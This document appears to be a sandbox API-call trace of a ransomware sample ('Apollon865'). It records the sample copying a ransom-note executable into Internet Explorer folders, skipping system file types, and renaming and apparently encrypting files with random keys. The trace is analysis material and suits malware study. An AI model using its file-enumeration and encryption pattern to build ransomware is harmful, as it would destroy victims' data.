	[0043.901] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.901] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1
	[0043.901] lstrcmpiW (lpString1="Services", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.901] lstrcmpiW (lpString1="Services", lpString2="Apollon865.txt.exe") returned 1
	[0043.901] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="Services" | out: lpString1="Services") returned="Services"
	[0043.901] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0043.901] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa8) returned 0x5995a0
	[0043.901] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7ad0
	[0043.901] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 0
	[0043.901] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.901] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0043.901] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services"
	[0043.901] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5995a0 | out: hHeap=0x580000) returned 1
	[0043.901] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0043.901] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services") returned 83
	[0043.901] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services"
	[0043.901] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.902] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.932] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.933] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3240b290, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3240b290, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0043.933] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.933] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.933] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore"
	[0043.933] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f0 | out: hHeap=0x580000) returned 1
	[0043.933] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0043.933] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore") returned 83
	[0043.933] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore"
	[0043.933] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.933] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.938] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.939] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x324313f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x324313f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0043.939] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.939] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.939] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="36USA68T" | out: lpString1="36USA68T") returned="36USA68T"
	[0043.939] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0043.939] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xba) returned 0x5994f0
	[0043.939] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0043.939] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3O75JDME", cAlternateFileName="")) returned 1
	[0043.939] lstrcmpiW (lpString1="3O75JDME", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.939] lstrcmpiW (lpString1="3O75JDME", lpString2="Apollon865.txt.exe") returned -1
	[0043.939] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="3O75JDME" | out: lpString1="3O75JDME") returned="3O75JDME"
	[0043.939] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0043.939] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xba) returned 0x599bd8
	[0043.939] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0043.939] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x324313f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x324313f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.939] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.939] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0043.939] lstrcmpiW (lpString1="index.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.939] lstrcmpiW (lpString1="index.dat", lpString2="Apollon865.txt.exe") returned 1
	[0043.939] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="index.dat" | out: lpString1="index.dat") returned="index.dat"
	[0043.939] lstrlenW (lpString="index.dat") returned 9
	[0043.939] lstrlenW (lpString="Apollon865") returned 10
	[0043.939] lstrlenW (lpString=".dll") returned 4
	[0043.939] lstrcmpiW (lpString1="index.dat", lpString2=".dll") returned 1
	[0043.939] lstrlenW (lpString=".lnk") returned 4
	[0043.939] lstrcmpiW (lpString1="index.dat", lpString2=".lnk") returned 1
	[0043.940] lstrlenW (lpString=".ini") returned 4
	[0043.940] lstrcmpiW (lpString1="index.dat", lpString2=".ini") returned 1
	[0043.940] lstrlenW (lpString=".sys") returned 4
	[0043.940] lstrcmpiW (lpString1="index.dat", lpString2=".sys") returned 1
	[0043.940] lstrlenW (lpString="index.dat") returned 9
	[0043.940] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="UV0DUWVB" | out: lpString1="UV0DUWVB") returned="UV0DUWVB"
	[0043.940] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0043.940] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xba) returned 0x599ca0
	[0043.940] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0043.940] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VGMTOI09", cAlternateFileName="")) returned 1
	[0043.940] lstrcmpiW (lpString1="VGMTOI09", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.940] lstrcmpiW (lpString1="VGMTOI09", lpString2="Apollon865.txt.exe") returned 1
	[0043.940] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="VGMTOI09" | out: lpString1="VGMTOI09") returned="VGMTOI09"
	[0043.940] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0043.940] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xba) returned 0x599f60
	[0043.940] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0043.940] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VGMTOI09", cAlternateFileName="")) returned 0
	[0043.940] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0043.940] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0043.940] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09"
	[0043.940] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0043.940] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0043.940] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09") returned 92
	[0043.940] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09"
	[0043.940] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.940] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.945] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.945] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x324313f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x324313f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0043.945] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.945] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.945] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="www.msn[1].xml" | out: lpString1="www.msn[1].xml") returned="www.msn[1].xml"
	[0043.945] lstrlenW (lpString="www.msn[1].xml") returned 14
	[0043.945] lstrlenW (lpString="Apollon865") returned 10
	[0043.945] lstrcmpiW (lpString1="msn[1].xml", lpString2="Apollon865") returned 1
	[0043.945] lstrlenW (lpString=".dll") returned 4
	[0043.945] lstrcmpiW (lpString1="www.msn[1].xml", lpString2=".dll") returned 1
	[0043.945] lstrlenW (lpString=".lnk") returned 4
	[0043.945] lstrcmpiW (lpString1="www.msn[1].xml", lpString2=".lnk") returned 1
	[0043.945] lstrlenW (lpString=".ini") returned 4
	[0043.945] lstrcmpiW (lpString1="www.msn[1].xml", lpString2=".ini") returned 1
	[0043.945] lstrlenW (lpString=".sys") returned 4
	[0043.945] lstrcmpiW (lpString1="www.msn[1].xml", lpString2=".sys") returned 1
	[0043.945] lstrlenW (lpString="www.msn[1].xml") returned 14
	[0043.945] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml.Apollon865") returned 118
	[0043.946] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml.apollon865"), dwFlags=0x1) returned 1
	[0043.946] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0043.947] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=836) returned 1
	[0043.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0043.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0043.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0043.947] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0043.948] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0043.948] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0043.948] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x650, lpName=0x0) returned 0x154
	[0044.010] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x650) returned 0x100000
	[0044.011] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0044.012] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0044.012] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0044.012] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0044.012] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0044.012] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0044.012] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0044.012] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0044.012] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0044.012] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599f60
	[0044.013] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0044.013] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0044.013] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0044.013] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0044.013] CloseHandle (hObject=0x154) returned 1
	[0044.013] CloseHandle (hObject=0x14c) returned 1
	[0044.014] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0044.014] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0044.014] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0044.014] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.msn[1].xml", cAlternateFileName="WWWMSN~1.XML")) returned 0
	[0044.014] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0044.015] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0044.015] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB"
	[0044.015] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599ca0 | out: hHeap=0x580000) returned 1
	[0044.015] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0044.015] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB") returned 92
	[0044.015] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB"
	[0044.015] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.015] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\uv0duwvb\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.021] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.021] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x324efad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x324efad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0044.022] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.022] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.022] lstrcmpiW (lpString1=".", lpString2=".") returned 0
